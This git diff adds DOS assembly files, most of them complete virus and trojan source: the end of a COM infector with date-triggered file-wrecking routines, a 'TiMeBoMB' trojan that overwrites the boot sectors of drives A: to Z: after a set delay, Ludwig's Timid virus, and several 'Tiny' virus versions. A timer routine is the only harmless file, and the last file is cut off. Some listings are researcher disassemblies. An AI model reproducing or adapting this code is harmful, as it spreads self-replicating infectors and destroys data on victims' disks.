PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH BP + MOV AH,2CH ; Get current time into CX:DX + INT 21H ; CX=hrs/min, DX=sec/hund.sec + CMP DL,32H ; Are we above 32/100 seconds? + JA Get_INT_F2_Vector ; Yes + JMP Start_Trigger_Check ; No + +; +; +; Get Interrupt Vector of INT F2h +; +; + +Get_INT_F2_Vector: + MOV AH,35H ; Get the interrupt vector of + MOV AL,0F2H ; INT 0F2h into ES:BX + INT 21H ; + + CMP BX,7777H ; Was INT F2 already hooked? + + JNE Allocate_Memory ; No + JMP INT_F2_Already_Hooked ; +Allocate_Memory: + MOV AX,DS ; + DEC AX ; + MOV ES,AX ; + MOV BX,0 ; + CMP BYTE PTR ES:[BX],5AH ; + JE Memory_Already_Allocated + PUSH BX ; + MOV AH,48H ; Allocate 4096 16-byte-para- + MOV BX,0FFFFH ; graphs in memory. ??? + INT 21H ; + CMP BX,5 ; Is the largest available + ; 5 or higher? + JAE Again_Allocate_Memory ; Yes + JMP Start_Trigger_Check ; No +Again_Allocate_Memory: + MOV AH,48H ; Again allocate memory + INT 21H ; + POP BX ; + JNC Segment_Decrease ; If there was no error when + ; allocating memory the last + ; time + JMP Start_Trigger_Check ; If there was an error +Segment_Decrease: + DEC AX ; Decrease Segment of Allcated + ; memory + MOV ES,AX ; + MOV BX,1 ; + MOV WORD PTR ES:[BX],0 ; + MOV BX,0 ; + CMP BYTE PTR ES:[BX],5AH ; + JE Memory_Allocated ; + JMP SHORT Start_Trigger_Check + NOP ; +Memory_Allocated: + MOV BX,3 ; + ADD AX,ES:[BX] ; + INC AX ; + MOV BX,12H ; + MOV ES:[BX],AX ; +Memory_Already_Allocated: + MOV BX,3 ; + MOV AX,ES:[BX] ; + SUB AX,5 ; + JC Start_Trigger_Check ; Jump if carry Set + MOV ES:[BX],AX ; + MOV BX,12H ; + SUB WORD PTR ES:[BX],5 ; + MOV ES,ES:[BX] ; + PUSH SI ; Store SI + SUB SI,1F2H ; SI points to the part + MOV DI,0 ; which must become + MOV CX,46H ; resident. + REP MOVSB ; Move the 46h bytes from + ; [SI] to ES:[DI] + POP SI ; Restore SI + MOV BP,ES ; + PUSH CS ; + POP ES ; Restore ES + + MOV AH,25H ; Hook interrupt F2h + MOV AL,0F2H ; New INT-vector will + MOV DX,7777H ; be DS:7777h + INT 21H ; + JMP SHORT Hook_INT_20h ; (2A10) + NOP + +INT_F2_Already_Hooked: + JMP SHORT Start_Trigger_Check + NOP +Hook_INT_20h: + MOV AL,20H ; + MOV AH,35H ; Get the INT 20h Vector + INT 21H ; into ES:BX + + MOV DX,ES ; + MOV ES,BP ; + PUSH SI ; + MOV AX,SI ; + SUB AX,1CAH ; + MOV DI,SI ; + SUB DI,1F2H ; + SUB AX,DI ; + MOV SI,AX ; + MOV ES:[SI],BX ; + ADD SI,2 ; + MOV ES:[SI],DX ; + SUB SI,4 ; + MOV ES:[SI],AX ; + POP SI ; + PUSH CS ; + POP ES ; + + MOV AH,25H ; Install new INT 20h + MOV DS,BP ; vector to DS:DX + MOV DX,0 ; (=DS:00) + MOV AL,20H ; + INT 21H ; + +; +; +; Start Trigger Check +; +; + +Start_Trigger_Check: + POP BP ; Restore Registers + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + MOV AH,2AH ; Get the current date + INT 21H ; CX=year, DX=mon/day + CMP DL,0DH ; Is it the 13th of the month? + JNE Start_Infecting_File ; No + +; +; +; It is the 13th of the Month... Select 1 out of 3 destructions +; +; + + MOV AH,2CH ; Get current time + INT 21H ; CX=hrs/min, DX=sec/hund.sec + CMP DL,3CH ; Are we above 60/100 seconds? + JA Destruction_2 ; Yes + CMP DL,1EH ; Are we above 30/100 seconds? + JA Destruction_3 ; Yes + +; +; +; Destruction Scheme 1: Place the following code at the begining of a +; file: MOV AH,00 +; INT 20h +; NOP +; +; When a file is executed with this code at the begining, the program +; will terminate at once with returning to DOS. +; +; + + MOV DX,SI + ADD DX,21H + JMP SHORT Write_5_Destruction_Bytes + NOP + +; +; +; Destruction Scheme 2: Place the following code at the begining of a +; file: HLT +; HLT +; HLT +; HLT +; DB CDh (which is the opcode for INT) +; +; When a file is executed with this code at the begining, the program +; will execute the 4 HLT's and then perform an INT-Call depending on +; the byte following CDh. This can be any INT-Call. So this scheme +; can be consisered the dangeroust of all three destruction schemes. +; will terminate at once with returning to DOS. The first five bytes +; of a file will be overwritten always, making the file useless, but +; issuing and 'random' INT-Call can do much more harm. +; +; + +Destruction_2: + MOV DX,SI + ADD DX,79H + JMP SHORT Write_5_Destruction_Bytes + NOP + +; +; +; Destruction Scheme 3: Place the following code at the begining of a +; file: INT 19h +; INT 19h +; DB ? (Can be anything. It is the 1st byte of the org.file) +; +; When a file is executed with this code at the begining, the program +; will cause a reboot without a memory test and preserving the +; interrupt vectors. If any interrupt vector from 00h through 1Ch has +; been set, the system most likely will hang itself, because of this +; preserving. +; +; + +Destruction_3: + MOV DX,SI + ADD DX,7DH + JMP SHORT Write_5_Destruction_Bytes + NOP + +; +; +; Write the 5 bytes with the destruction to the begining of the file +; +; + +Write_5_Destruction_Bytes: + MOV AH,40H ; + MOV CX,5 ; + INT 21H ; Write 5 bytes to the file + JMP SHORT Set_FileDate_Time_Back + NOP + +; +; +; It is not the 13th of the month... Infect the file +; +; + +Start_Infecting_File: + MOV AH,3FH ; + MOV CX,3 ; Number of bytes to read + MOV DX,0AH ; + ADD DX,SI ; + INT 21H ; Read the bytes from the file + ; and put them at DS:DX + JC Set_FileDate_Time_Back ; If Error Occurred + CMP AL,3 ; 3 Bytes read? + JNE Set_FileDate_Time_Back ; No + + + MOV AX,4202H ; Set the Read/Write + MOV CX,0 ; pointer to the EOF at + MOV DX,0 ; offset CX:DX (=00:00) + INT 21H ; + + MOV CX,AX ; CX=Length of File + SUB AX,3 ; + MOV [SI+0EH],AX ; Store Length -3 bytes + ADD CX,41DH ; CX=CX+41Dh + MOV DI,SI + SUB DI,318H + MOV [DI],CX ; Set new Virus Data Area + ; Address into code + MOV AH,40H ; + MOV CX,3ABH ; CX=3ABh The length of the + ; viral-code written to disk. + MOV DX,SI + SUB DX,31DH ; DX points at the start of + ; the virus code + INT 21H ; Write the viral-code to the + ; file + + JC Set_FileDate_Time_Back ; If an error occured + CMP AX,3ABH ; 3ABh bytes written? + JNE Set_FileDate_Time_Back ; No + MOV AX,4200H ; Move Read/Write Pointer to + MOV CX,0 ; the beginning of the file + MOV DX,0 ; at offset CX:DX(=00:00) + INT 21H ; + + MOV AH,40H ; Write the 1st three new + MOV CX,3 ; bytes to the file. These + MOV DX,SI ; bytes contain the JMP + ADD DX,0DH ; instruction to the virus. + INT 21H ; + +; +; +; Set File-Time/Date back +; +; + +Set_FileDate_Time_Back: + MOV DX,[SI+6] ; Get File-Date + MOV CX,[SI+4] ; Get File-Time + MOV AX,5701H ; Set back the File-Time and + INT 21H ; Date stamps + +; +; +; Close the File +; +; + + MOV AH,3EH ; + INT 21H ; Close the File + +; +; +; Set File Attribute back +; +; + + +Set_FileAttributes_Back: + MOV AX,4301H ; + MOV CX,[SI+8] ; Get File Attribute + MOV DX,26H ; + ADD DX,SI ; + INT 21H ; Set File Attribute + +; +; +; Restore Org DTA address +; +; + +Restore_Org_DTA: + PUSH DS + MOV AH,1AH + MOV DX,[SI] ; Get Original DTA + MOV DS,[SI+2] ; address + INT 21H ; St DTA to ds:dx + +; +; +; Put 3 Original 1st three bytes in place and execute original program +; +; + + POP DS ; Restore DS + PUSH SI ; Store SI + CLD ; + ADD SI,81H ; Address where the 1st three + ; bytes can be found. + MOV DI,100H ; Destination Address + MOV CX,3 ; Number of bytes to move + REP MOVSB ; Move the bytes + POP SI ; Restore SI + POP CX ; Restore CX + XOR AX,AX ; Zero register + XOR BX,BX ; Zero register + XOR DX,DX ; Zero register + XOR SI,SI ; Zero register + MOV DI,100H + PUSH DI ; Store DI + XOR DI,DI ; Zero register + RET 0FFFFH ; Terminate Virus-Code and + ; execute original program. + +; +; +; Virus Data Area +; +; + + +ORG_DTA_ADD: DW ? ; Storing place for BX of + ; original DTA + DW ? ; Storing place for ES of + ; original DTA +File_Time: DW ? ; Storing place for the + ; filetime of the file +Date: DW ? ; Storing place for the + ; filedate +Attrib: DW ? ; Storing place for the + ; file attributes. + +Three_Bytes: DB 0E9h, 27h, 03h + +First_New_Byte: DB 0E9h ; First new byte of the + ; the infected file. This is + ; the jump instruction. +Length_Min_3: DB 0Dh, 27h ; Also new address to jump + ; to for the virus on exe- + ; cution, 2nd and 3rd new byte + +Search_Spec: DB '*.COM',00h + +Path_Add_Org: DW 00,05 + +Path_Add_Vir: DW '6M' + + DB 'PATH=', 00, 00 + +Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h + +File_Path: DB 'VIRCOM.COM' ; Filename including PATH + DB 30 DUP(0) + +New_DTA: + DB 02 + DB '????????COM' + DB 03, 11H + DB 7 DUP (0) + DB 20H, 80H, 12H, 17H, 15H, 10H + DB 27H, 0, 0 + +FileName: DB 'VIRCOM.COM', 00h, 00h, 00h + +Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H + +Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H + +First_3_Bytes: DB 0E9h, 45h, 45h + +Notice: DB '(C) Monxla' + +Time ENDP + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/t/TIMEBOMB.ASM b/t/TIMEBOMB.ASM new file mode 100755 index 0000000..f83dab6 --- /dev/null +++ b/t/TIMEBOMB.ASM @@ -0,0 +1,190 @@ +; +; +; TiMeBoMB v1.0 - By Virogen +; +;************************************************************** +; Warning: The following code can and will destroy data on a +; computer system. DO NOT RUN THIS PROGRAM UNLESS +; YOU FULLY UNDERSTAND HOW IT OPERATES. Virogen can't +; be held responsible for damages of any kind that may +; be caused by this program. Use at your own risk. +;*************************************************************** +; +; While I'm not much of an advocate for the needless destruction +; of data, it's necessary at times. So..here is a short program +; demonstrating how easy it is to write a trojan which can remain +; memory resident until X amount of time has passed, and then +; activate. All other system operations should perform as normal +; while the bomb is counting down. Obviously if you're needing +; to kill a system while physically at it this method is superior +; to a standard trojan. You install it, walk away, other people +; use the system, everything appears normal, then BANG all disks +; possible are rendered useless. +; The following code will install a time bomb which will load +; itself memory resident and then wait until a specified amount +; of time has passed before it destroyes all disks. Upon activation +; the first 1000 sectors of drives A:-Z: will be overwritten, then +; after all drives have been processed, it will do the same thing +; again overwriting the first 2000 sectors, then 3000, 4000 etc.. +; The drives will be killed in the order of : +; C:,B:,A:,D: thru Z: +; Since drive C: is usually the most critical drive to be killed, +; it is done first just to ensure that the user can't respond quickly +; and powerdown before it is overwritten. The critical error handler +; is hooked so that invalid drives won't stop the process. +; There will be no other effects at the time of activation. It will +; probably appear as a legitmate hard drive crash to the ignorantly +; impaired since there would be no reason to believe otherwise. +; +title .timebomb +segment cseg + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +org 100h +start_mem: +jmp end_mem ; skip to installation +; +; New INT 8h (clock tick) handler. This interrupt is called approximatly +; 18.2065 times per second. So, to figure up how many clock ticks will +; be needed to activate after a certain amount of seconds, use the following +; formula: +; SECS x 18.2065 = clock ticks needed +; you must then round the result to remove decimal digits. Note that the +; following code does not support an activation wait of any longer than +; 65536 clock ticks. Which means you're limited to a "fuse" of approx. +; 3599 seconds (or 59 minutes). To change the number of clock ticks +; see the variable tick_cnt below. +; +new8: + cmp cs: now,2 ; are we activating right now? + je jump_8 ; yep..let's skip directly to the original int8 + dec cs: tick_cnt ; decrement tick counter + jnz jump_8 ; if we haven't reached zero then jump to int8 + mov cs: now,1 ; counter is 0- ready for activation +jump_8: db 0eah ; jump far to original interrupt 8 +old8_ofs dw 0 +old8_seg dw 0 +; +; New interrupt 1Ch - timer tick - when this interrupt is called and +; the NOW variable is set to 1, the bomb activates. You can easily hook +; another interrupt here, and wait until a specific system function +; before activation. +; +new1c: cmp cs: now,1 ; time to activate? + je activate ; yep..let's go.. else nope +jump_1c: + db 0eah ; jump far to original interrupt 1ch +old1c_ofs dw 0 +old1c_seg dw 0 +activate: + mov cs: now,2 ; don't want to have multiple activations + cli ; turn off maskable interrupts + xor ax,ax ; + mov es,ax ; es=0 + Mov es: [24h*4+2], offset new24 ; set new critical error handler + mov es: [24h*4], cs ; our handler's segment +start_kill: + mov al,02 ; start with killing drive C: + add cs:max_sec,1000 +drive_loop: + xor dx,dx ; starting logical sector to write + xor bx,bx ; address of buffer (any address will do) + mov cx,100 ; number of sectors to write + push ax +sec_loop: + int 26h ; kill 100 sectors at a time + pop sp ; get flags off stack + jc new_drive ; if error skip this drive + cmp dx,cs:max_sec ; have we reached the the max to kill? + je new_drive ; yep..don't kill any more + add dx,100 ; increment sector # by 100 + jmp sec_loop ; go kill the next 100 sectors +new_drive: + pop ax + cmp al,25 ; just killed drive Z:? + je start_kill ; yep.. start this whole thing again + cmp al,2 ; just killed drive A:,B:,or C:? + jg inc_al ; nope..go increment drive + cmp al,0 ; already killed drive A:? start with D: and inc + je new_al ; yep.. skip back to drive D: + dec al ; else..decrement drive + jmp drive_loop ; go kill drive +new_al: mov al,2 ; drive C:+1=D: +inc_al: inc al ; goto next drive C:-max + jmp drive_loop ; kill next logical drive +; +; New critical error handler (INT 24h) - always fails calls. Only +; used at the time of activation. Critical errors will not stop the +; disk kill. +; +new24: + mov al,2 + iret +; +; Data area for resident routines +; +tick_cnt dw 32772 ; ticks to wait before activation (30 mins) + ; change this value to the time you need + ; to wait before activation. Here are a + ; few quick calculations: + ; 1 minute=1092 + ; 5 minutes=5462 + ; 15 minutes=16386 + ; 30 minutes=32772 + ; 45 minutes=49158 + ; 59 minutes=64451 + ; **MAX IS 65536 (59.9 mins)** +now db 0 ; signal INT 16h to activate +max_sec dw 0 ; max number of sectors to write - increments + ; by 1000 per entire loop of drives A:-Z: +end_mem: ; end of memory resident code +; +; Runtime portion of bomb - installs itself in memory just below the 640k +; conventional memory size will have decresed slightly. The code does +; not prevent the bomb from being loaded multiple times basically because +; it won't hurt anything. +; + + mov ax,cs ; PSP segment + dec ax ; mcb=psp-1 + mov ds,ax ; DS=MCB + + sub word ptr ds: [3],(((end_mem-start_mem+1023)*2)/1024)*64 ; shrink block + sub word ptr ds: [12h],(((end_mem-start_mem+1023)*2)/1024)*64 + mov es,word ptr ds: [12h] ; get high mem seg + + mov si,0100h + mov cx,(offset end_mem - offset start_mem)/2+1 + push cs + pop ds + mov di,100h ; New location in upper memory + rep movsw ; Copy bomb to upper memory + ; (just below 640k boundary) + xor ax,ax + mov ds,ax ; null ds + push ds ; save ds + lds ax,ds: [8h*4] ; get old int 8h seg:off + mov es: old8_seg,ds ; save them + mov es: old8_ofs,ax + pop ds ; restore ds + cli ; interrupts off + mov ds: [8h*4+2],es ; new int 8h seg + mov ds: [8h*4],offset new8 ; new offset + sti ; interrupts on + push ds ; save ds again + lds ax,ds: [1ch*4] ; get old Int 1Ch seg:off + mov es: old1c_seg,ds ; save them + mov es: old1c_ofs,ax ; + pop ds ; restore ds + cli ; interrupts off + mov ds: [1ch*4+2],es ; new segment + mov ds: [1ch*4],offset new1c ; new offset + sti ; interrupts on + ; reduce conventional memory size + sub byte ptr ds: [413h],((offset end_mem-offset start_mem+1023)*2)/1024 + + mov ah,4ch ; exit + int 21h +copright db ' TiMeBoMb v1.0 (copyphrealy) Virogen ' +cseg ends + end start_mem diff --git a/t/TIMER.ASM b/t/TIMER.ASM new file mode 100755 index 0000000..558e1ea --- /dev/null +++ b/t/TIMER.ASM @@ -0,0 +1,141 @@ +PAGE ,132 + title \asm_sour\timer.asm HIGH ACCURACY TIMER + subttl michael e. walraven +.MODEL MEDIUM + +name timer +.cref +.lall + +; +; High resolution timer, returns a 32 bit high resolution +; value which is the amount of elapsed time since the function +; was last called. The counts are 838.2ns each (1.19318 MHz) +; time_int() must be called first to set the timer chip to +; the proper mode. +; Counter 0 is changed in time_int() and the data from this +; counter is used in elaptime() so it must not be changed +; between calls. +; There should not be any interference in system timing +; max of 55 msec error introduced by time_int() into absolute +; system time. + +; MEDIUM memory model/microsoft 5.00 +; FAR PROGRAM, NEAR DATA +; cs: is code segment +; es: and ds: are data segment +; ss: within data segment +; ax: for integer return +; dx:ax: for long return + +.DATA +; these data items located in the DSEG and can be accessed +; as near by C programs + + PUBLIC SYS_HI + PUBLIC SYS_LOW + PUBLIC TIMER_COUNT + +SYS_HI DW ? ;TIMER_HI VALUE FOR PREVIOUS CALL +SYS_LOW DW ? ;TIMER_LOW VALUE FOR PREVIOUS CALL +TIMER_COUNT DW ? ;8253 TIMER COUNT FOR PREVIOUS CALL + + +; NO ARGUMENTS PASSED to either function + +TIMER_MODE EQU 043H +TIMER0 EQU 040H + +BIOS SEGMENT AT 040H + ORG 06CH +TIMER_LOW DW ? +TIMER_HI DW ? +BIOS ENDS + +PAGE +.CODE + + PUBLIC _time_int +_time_int PROC + +; void far time_int(void); +; +; SET THE TIMER MODE FOR PULSE OUTPUT, RATHER THAN SQUARE +; MODE AS SET BY DOS + + MOV AL,00110100B ;CTR 0, LSB THEN MSB + ;MODE 2, BINARY + OUT TIMER_MODE,AL ;MODE REGISTER FOR 8253 + SUB AX,AX ;SET 0, RESULT IN MAX COUNT + OUT TIMER0,AL + OUT TIMER0,AL + RET +_time_int ENDP + + + PUBLIC _elaptime +_elaptime PROC + +; long int far elaptime(void); +; +; DETERMINE ELAPSED TIME SINCE LAST CALL +; RETURNS 32 BIT (LONG) VALUE WHICH IS +; NEW - TIMER_HI:TIMER_LO:TIMER_COUNT MINUS +; OLD - TIMER_HI:TIMER_LO:TIMER_COUNT + +; ASSUMPTION MADE THAT 32 BITS WILL NOT OVERFLOW!!!! + + PUSH ES + MOV AX,BIOS + MOV ES,AX + ASSUME ES:BIOS + + MOV AL,0 ;PREPARE TO LATCH COUNTER + OUT TIMER_MODE,AL ;LATCH 8253 + + PUSHF ;SAVE INTERRUPT STATE + CLI ;TURN INTERRUPT OFF WHILE READING CODE + IN AL,TIMER0 + MOV DL,AL + IN AL,TIMER0 + MOV DH,AL ;DX HAS NEW CHIP COUNT(count down value) + + MOV BX,ES:TIMER_LOW ;BX HAS SYSTEM TIME LOW WORD + MOV AX,ES:TIMER_HI ;AX HAS SYSTEM TIME HIGH WORD + +; NOW HAVE A 48 BIT WORD AX:BX:DX FOR THE PRESENT TIME + MOV CX,TIMER_COUNT ;SWAP AND SUBTRACT + MOV TIMER_COUNT,DX + SUB CX,DX + +; CX: HAS LOW 16 BITS OF DIFFERENCE + + MOV DX,SYS_LOW ;SWAP AND SUBTRACT + MOV SYS_LOW,BX + SBB BX,DX + +; BX: HAS MID 16 BITS OF DIFFERENCE + + MOV DX,SYS_HI ;SWAP AND SUBTRACT + MOV SYS_HI,AX + SBB AX,DX + +; AX: HAS HIGH 16 BITS OF DIFFERENCE + +; NOW HAVE A 48 BIT WORD THAT IS DIFFERENCE +; ONLY PASS BACK 32 BITS AT PRESENT +; AS DX:AX + + MOV AX,CX ;LOW 16 BITS + MOV DX,BX ;MID 16 BITS + + + POPF + POP ES + RET +_elaptime ENDP + + + END + + \ No newline at end of file diff --git a/t/TIMID.ASM b/t/TIMID.ASM new file mode 100755 index 0000000..5490dcc --- /dev/null +++ b/t/TIMID.ASM @@ -0,0 +1,195 @@ +;TIMID VIRUS asm by Mark Ludwig in 1991. +; +;-infects .coms only in current directory unless called by dos path statement +;-announces each file infected. +;297bytes=eff. length +;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses" +;Slightly modified for A86 assembly. +;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus +;-fixed bug in code reprinted in his book. +;all infected files will have VI at byte position 4-5. +;Mark Ludwig claims copyright on this virus and said he will +; sue anyone distributing his viruses around. I say have fun!. + + +main segment byte + assume cs:main, ds:main, ss:nothing + + org 100h + +host: + jmp near ptr virus_start + db 'VI' ;identifies virus + mov ah, 4ch + mov al, 0 + int 21h + +virus: + +comfile db '*.com',0 + +virus_start: + call get_start + +get_start: + sub word ptr [vir_start], offset get_start - offset virus + mov dx, offset dta + mov ah, 1ah + int 21h + call find_file + jnz exit_virus + call infect + mov dx, offset fname + mov [handle] b,24h + mov ah, 9 + int 21h +exit_virus: ;bug was here in book + mov dx, 80h + mov ah, 1ah + int 21h + mov bx, [vir_start] + mov ax, word ptr [bx+(offset start_code)-(offset virus)] + mov word ptr [host], ax + mov ax, word ptr [bx+(offset start_code)-(offset virus)+2] + mov word ptr [host+2],ax + mov al, byte ptr [bx+(offset start_code)-(offset virus)+4] + mov byte ptr [host+4], al + mov [vir_start], 100h + ret +start_code: + nop + nop + nop + nop + nop + +find_file: + mov dx, [vir_start] + add dx, offset comfile-offset virus + mov cx, 3fh + mov ah, 4eh + int 21h + +ff_loop: + or al,al + jnz ff_done + call file_ok + jz ff_done + mov ah, 4fh + int 21h + jmp ff_loop + +ff_done: + ret + +file_ok: + mov dx, offset fname + mov ax, 3d02h + int 21h + jc fok_nzend + mov bx, ax + push bx + mov cx, 5 + mov dx, offset start_image + mov ah, 3fh + int 21h + pop bx + mov ah, 3eh + int 21h + mov ax, word ptr [fsize] + add ax, offset endvirus - offset virus + jc fok_nzend + cmp byte ptr [start_image], 0e9h + jnz fok_zend + +fok_nzend: + mov al, 1 + or al,al + ret + +fok_zend: + xor al,al + ret + +infect: + mov dx, offset fname + mov ax, 3d02h + int 21h + mov word ptr [handle],ax + + xor cx,cx + mov dx,cx + mov bx, word ptr [handle] + mov ax, 4202h + int 21h + + mov cx, offset final -offset virus + mov dx, [vir_start] + mov bx, word ptr [handle] + mov ah, 40h + int 21h + + xor cx,cx + mov dx, word ptr [fsize] + add dx, offset start_code-offset virus + mov bx, word ptr [handle] + mov ax, 4200h + int 21h + + mov cx, 5 + mov bx, word ptr [handle] + mov dx, offset start_image + mov ah, 40h + int 21h + + xor cx,cx + mov dx,cx + mov bx, word ptr [handle] + mov ax, 4200h + int 21h + + mov bx, [vir_start] + mov byte ptr [start_image], 0e9h + mov ax, word ptr [fsize] + add ax, offset virus_start-offset virus-3 + mov word ptr [start_image+1], ax + mov word ptr [start_image+3], 4956h + + mov cx, 5 + mov dx, offset start_image + mov bx, word ptr [handle] + mov ah, 40h + int 21h + + mov bx, word ptr [handle] + mov ah, 3eh + int 21h + ret + +final: + +;data area +endvirus equ $ + 212 +org 0ff2ah + +dta db 1ah dup (?) +fsize dw 0,0 +fname db 13 dup (?) +handle dw 0 +start_image db 0,0,0,0,0 +vstack dw 50h dup (?) +vir_start dw (?) + +main ends +end host +;end of timid.asm + + + + + + + + + + diff --git a/t/TINY-133.ASM b/t/TINY-133.ASM new file mode 100755 index 0000000..3dd28b1 --- /dev/null +++ b/t/TINY-133.ASM @@ -0,0 +1,81 @@ +VSize = 085h + +Code Segment + Assume CS:Code + Org 600h + +Bytes db 0CDh,20h,90h,90h + +Start: mov si, 0100h + mov bx, offset Int21 + mov cx, 0050h + mov di, si + add si, [si+2] + push di + movsw + movsw + mov es, cx + cmpsb + je StartFile + dec si + dec di + rep movsw + mov es, cx + xchg ax, bx + xchg ax, cx +Loop0: xchg ax, cx + xchg ax, word ptr es:[di-120h] + stosw + jcxz Loop0 + xchg ax, bx +StartFile: + push ds + pop es + ret + +Int21: cmp ax, 4B00h + jne End21 +Exec: push ax bx dx ds es + mov ax, 3D02h + call DoInt21 + jc EndExec + cbw ; Zero AH + cwd ; Zero DX + mov bx, si ; Move handle to BX + mov ds, ax ; Set DS and ES to 60h, + mov es, ax ; the virus data segment + mov ah, 3Fh ; Read first 4 bytes + int 69h + mov al, 4Dh + scasb ; Check for 4D5Ah or infected file mark + je Close ; .EXE or already infected + mov al, 2 + call LSeek ; Seek to the end, SI now contains file size + mov cl, VSize ; Virus size in CX, prepare to write + int 69h ; AH is 40h, i.e. Write operation + mov ax, 0E94Dh ; Virus header in AX + stosw ; Store it + xchg ax, si ; Move file size in AX + stosw ; Complete JMP instruction + xchg ax, dx ; Zero AX + call LSeek ; Seek to the beginning + int 69h ; AH is 40h, write the virus header +Close: mov ah,3Eh ; Close the file + int 69h +EndExec: pop es ds dx bx ax +End21: jmp dword ptr cs:[69h * 4] + +LSeek: mov ah, 42h ; Seek operation + cwd ; Zero DX +DoInt21: xor cx, cx ; External entry for Open, zero cx + int 69h + mov cl, 4 ; 4 bytes will be read/written + xchg ax, si ; Store AX in SI + mov ax, 4060h ; Prepare AH for Write + xor di, di ; Zero DI + ret + +VLen = $ - offset Bytes + +Code EndS + End diff --git a/t/TINY-134.ASM b/t/TINY-134.ASM new file mode 100755 index 0000000..af0220f --- /dev/null +++ b/t/TINY-134.ASM @@ -0,0 +1,162 @@ + page ,132 + name TINY134 + title The 'Tiny' virus, version TINY-134 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-134 +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + +; The original first 4 bytes of the infected file: + +first4 db 0CDh, 20, 90, 90 + +v_entry: + mov si,0FF ; Initialize some registers + mov di,offset start ; Put the addres of program start in DI + mov bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler + +; The virus will be installed in memory at +; address 0050:0100h (i.e., at segment 60h): + + mov cx,50 + + add si,[si+2] ; Determine the start addres of the virus body + + push di ; Now a Near RET instruction will run the prg. + + movsw ; Restore the original first 4 bytes + movsw + + mov es,cx ; Point ES:DI at 0050:0100h + cmpsb ; Check if the virus is present in memory + jz run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec si ; Correct SI & DI to point at the start of + dec di ; virus code and to destination address + rep movsw ; Move the virus there + + mov es,cx ; ES := 0 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler. +; By the way, now DI == 1A4h (i.e., 69h*4): + + xchg ax,bx ; Thransfer INT 21h vector to INT 69h, + xchg ax,cx ; preserving AX +lp: + xchg ax,cx ; Get a word + xchg ax,es:[di-(69-21)*4] ; Swap the two words + stosw ; Save the word + jcxz lp ; Loop until done (two times) + + xchg ax,bx ; Restore AX (to keep progs as DISKCOPY happy) + +run: + push ds ; Restore ES + pop es + ret ; And exit (go to CS:100h) + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push dx + push ds + push es + + mov ax,3D02 ; Open the file for both reading and writting + call do_int21 + jc end_exec ; Exit on error + + cbw ; Zero AH + cwd ; Zero DX + mov bx,si ; Save handle in BX + mov ds,ax ; Set DS and ES to 60h, + mov es,ax ; the virus data segment + + mov ah,3F ; Read the first 4 bytes + int 69 + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + mov al,'M' ; Look for `M' + repne scasb + jz end_exec ; Exit if file not suitable for infection + + mov al,2 ; Seek to the end of file + call lseek ; SI now contains the file size + + mov cl,v_len ; Length of virus body + int 69 ; Append the virus to the file (AH is now 40h) + + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + inc si ; Add 1 to file size for the JMP + xchg ax,si ; Move it in AX + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + xchg ax,dx ; Zero AX + call lseek ; Seek to the beginning + int 69 ; AH is 40h, write the JMP instruction + +end_exec: + pop es ; Restore used registers + pop ds + pop dx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[69*4] + +lseek: + mov ah,42 ; Seek operation + cwd ; Zero DX +do_int21: + xor cx,cx ; External entry for Open + int 69 + mov cl,4 ; 4 bytes will be read/written + xchg ax,si ; Store AX in SI + mov ax,4060 ; Prepare AH for Write + xor di,di ; Zero DI + ret ; Done + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-138.ASM b/t/TINY-138.ASM new file mode 100755 index 0000000..1fe30f2 --- /dev/null +++ b/t/TINY-138.ASM @@ -0,0 +1,168 @@ + page ,132 + name TINY138 + title The 'Tiny' virus, version TINY-138 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-138 +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Initialize some registers + mov di,offset start ; Put the addres of program start in DI + mov bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler + +; The virus will be installed in memory at +; address 0050:0100h (i.e., at segment 60h): + + mov cx,50 + + add si,[si+2] ; Determine the start addres of the virus body + + push di ; Now a Near RET instruction will run the prg. + + movsw ; Restore the original first 4 bytes + movsw + + mov es,cx ; Point ES:DI at 